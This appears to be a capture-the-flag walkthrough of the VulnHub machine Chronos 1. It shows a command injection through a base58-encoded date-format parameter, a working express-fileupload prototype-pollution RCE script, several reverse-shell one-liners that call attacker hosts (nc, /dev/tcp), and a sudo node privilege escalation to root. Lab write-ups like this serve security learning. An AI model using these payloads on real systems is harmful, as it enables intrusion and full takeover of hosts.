This is CHRONOS: 1 from VulnHub.

It’s rated Medium, it’s by AL1ENUM and it’s very good, so give it a go.

Ports

SSH and two HTTP ports: 80 and 8000.

HTTP

At the main website, we have a page displaying the date and time. Looking at Burpsuite, we can see it makes a request to the other port:

OPTIONS /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1

The encoded string is base 58, and decodes to:

'+Today is %A, %B %d, %Y %H:%M:%S.'

If we make a GET request with the same parameter, i.e.

GET /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1

we get this response

Today is Sunday, August 15, 2021 04:31:39.

We can see that the ‘Today is’ part comes from our submitted strings, and the rest is filled in by the server. Reading the man pages shows that the date binary produces this sort of output. In fact, a similar command produces this output:

┌──(root💀kali)-[/opt/vulnhub/chronos]
└─# date '+Something is %F, %F %F, %Y %H:%M:%S'                                           
Something is 2021-08-15, 2021-08-15 2021-08-15, 2021 01:08:45

So it looks like the command is being passed directly to date. Testing a command injection locally:

┌──(root💀kali)-[/opt/vulnhub/chronos]
└─# date '+Something is %F, %F %F, %Y %H:%M:%S';id
Something is 2021-08-15, 2021-08-15 2021-08-15, 2021 01:09:01
uid=0(root) gid=0(root) groups=0(root),142(kaboxer)

Hopefully this will work. I try a ping first, and it does work. Next I try a reverse shell. The simplest bash revshell won’t work, but another will:

GET /date?format=6RtvYvanV3nT5HFqNKoSMqkTfe1waFA8kjKVHiFLr6ut33nCCH3aGb948oWpFytf1R5g6oMpV9pTGQHTaLsSUCpeSTbFanYJyHyWFJxnMBWKkHikCWG62M1BQPijsfYDeWtTvrgKteGHrA3Dptff4ycfFTbrRE11SQgm HTTP/1.1

This decodes to:

'+Something is %F, %F %F, %Y %H:%M:%S.';rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.210 1234 >/tmp/f

And we are on the box:

┌──(root💀kali)-[/opt/vulnhub/chronos]
└─# nc -nvlp 1234                                                                                           
listening on [any] 1234 ...
connect to [192.168.1.210] from (UNKNOWN) [192.168.1.85] 36584
/bin/sh: 0: cant access tty; job control turned off
$ id;hostname;date
uid=33(www-data) gid=33(www-data) groups=33(www-data)
chronos
Sun Aug 15 05:12:00 UTC 2021
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@chronos:/opt/chronos$ pwd
pwd
/opt/chronos
www-data@chronos:/opt/chronos$

We don’t have to look far for the next step:

www-data@chronos:/opt/chronos$ ls -lash /opt
ls -lash /opt
total 16K
4.0K drwxr-xr-x  4 root     root     4.0K Jul 30 07:50 .
4.0K drwxr-xr-x 23 root     root     4.0K Aug 11 10:35 ..
4.0K drwxr-xr-x  3 www-data www-data 4.0K Aug  3 20:11 chronos
4.0K drwxr-xr-x  4 root     root     4.0K Aug  3 19:40 chronos-v2

We have a chronos-v2. If we look inside we can find server.js, and find out that it is running internally:

www-data@chronos:/opt/chronos-v2/backend$ cat server.js
cat server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});www-data@chronos:/opt/chronos-v2/backend$ telnet localhost 8080
telnet localhost 8080
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
GET / HTTP/1.0


HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 151
ETag: W/"97-GhTu5wBiPgv2fNmGhgfZeXKNNT8"
Date: Sun, 15 Aug 2021 06:17:31 GMT
Connection: close

<!DOCTYPE html>
<html>
    <head>
        <title>Chronos - Version 2</title>
    </head>
    <body>
        <h1>Coming Soon...</h1>
    </body>
</html>Connection closed by foreign host.
www-data@chronos:

So, what can we do with this? We have an interesting entry:

const fileupload = require(“express-fileupload”);

Perhaps there is a file upload we can take advantage of? Looking at the pages inside the webapp, it’s clear that there is no uploading implemented - there is a just an index page. If we look around, we can find this:

www-data@chronos:/opt/chronos-v2/backend$ cat package-lock.json
cat package-lock.json
# trimmed for brevity
    "node_modules/express-fileupload": {
      "version": "1.1.7-alpha.3",
      "resolved": "https://registry.npmjs.org/express-fileupload/-/express-fileupload-1.1.7-alpha.3.tgz",
      "integrity": "sha512-2YRJQqjgfFcYiMr8inico+UQ0UsxuOUyO9wkWkx+vjsEcUI7c1ae38Nv5NKdGjHqL5+J01P6StT9mjZTI7Qzjg==",
      "deprecated": "Please upgrade express-fileupload to version 1.1.10+ due to a security vulnerability with the parseNested option",
      "dependencies": {
        "busboy": "^0.3.1"
      },
      "engines": {
        "node": ">=8.0.0"
      }
    },

What’s that about? Google is our friend, and leads us to this blog post about the vulnerability and some code on how to get a shell. This is the supplied code:

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://p6.is:7777')

We only need to change a few bits and we can use it. Here’s my version:

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.210/1237 0>&1"'

# pollute
requests.post('http://localhost:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://localhost:8080')

We can upload and execute that to get a new shell. Upload and execute:

┌──(root💀kali)-[/opt/vulnhub/chronos]
└─# nc -nvlp 1234                                           
listening on [any] 1234 ...
connect to [192.168.1.210] from (UNKNOWN) [192.168.1.85] 47782
/bin/sh: 0: cant access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@chronos:/opt/chronos$ cd /dev/shm
cd /dev/shm
www-data@chronos:/dev/shm$ wget http://192.168.1.210:9090/sheller.py
wget http://192.168.1.210:9090/sheller.py
--2021-08-15 09:22:55--  http://192.168.1.210:9090/sheller.py
Connecting to 192.168.1.210:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 323 [text/x-python]
Saving to: ‘sheller.py’

sheller.py          100%[===================>]     323  --.-KB/s    in 0s      

2021-08-15 09:22:55 (7.02 MB/s) - ‘sheller.py’ saved [323/323]

www-data@chronos:/dev/shm$ python3 ./sheller.py
python3 ./sheller.py
www-data@chronos:/dev/shm$

Host and then listen:

┌──(root💀kali)-[/opt/vulnhub/chronos]
└─# updog
[+] Serving /opt/vulnhub/chronos...
 * Running on http://0.0.0.0:9090/ (Press CTRL+C to quit)
192.168.1.85 - - [15/Aug/2021 05:22:54] "GET /sheller.py HTTP/1.1" 200 -
^C
[!] Exiting!
┌──(root💀kali)-[/opt/vulnhub/chronos]
└─# nc -nvlp 1237                                                                                 
listening on [any] 1237 ...
connect to [192.168.1.210] from (UNKNOWN) [192.168.1.85] 53990
bash: cannot set terminal process group (789): Inappropriate ioctl for device
bash: no job control in this shell
imera@chronos:/opt/chronos-v2/backend$

GTFO

Root is straightforward, but makes sense in the context of the box:

imera@chronos:/opt/chronos-v2/backend$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User imera may run the following commands on chronos:
    (ALL) NOPASSWD: /usr/local/bin/npm *
    (ALL) NOPASSWD: /usr/local/bin/node *
imera@chronos:/opt/chronos-v2/backend$ sudo -u root /usr/local/bin/node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
<child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
python3 -c 'import pty;pty.spawn("/bin/bash");'
root@chronos:/opt/chronos-v2/backend# id;hostname;date
id;hostname;date
uid=0(root) gid=0(root) groups=0(root)
chronos
Sun Aug 15 09:25:26 UTC 2021
root@chronos:/opt/chronos-v2/backend#

This was a good one, I enjoyed it a lot :)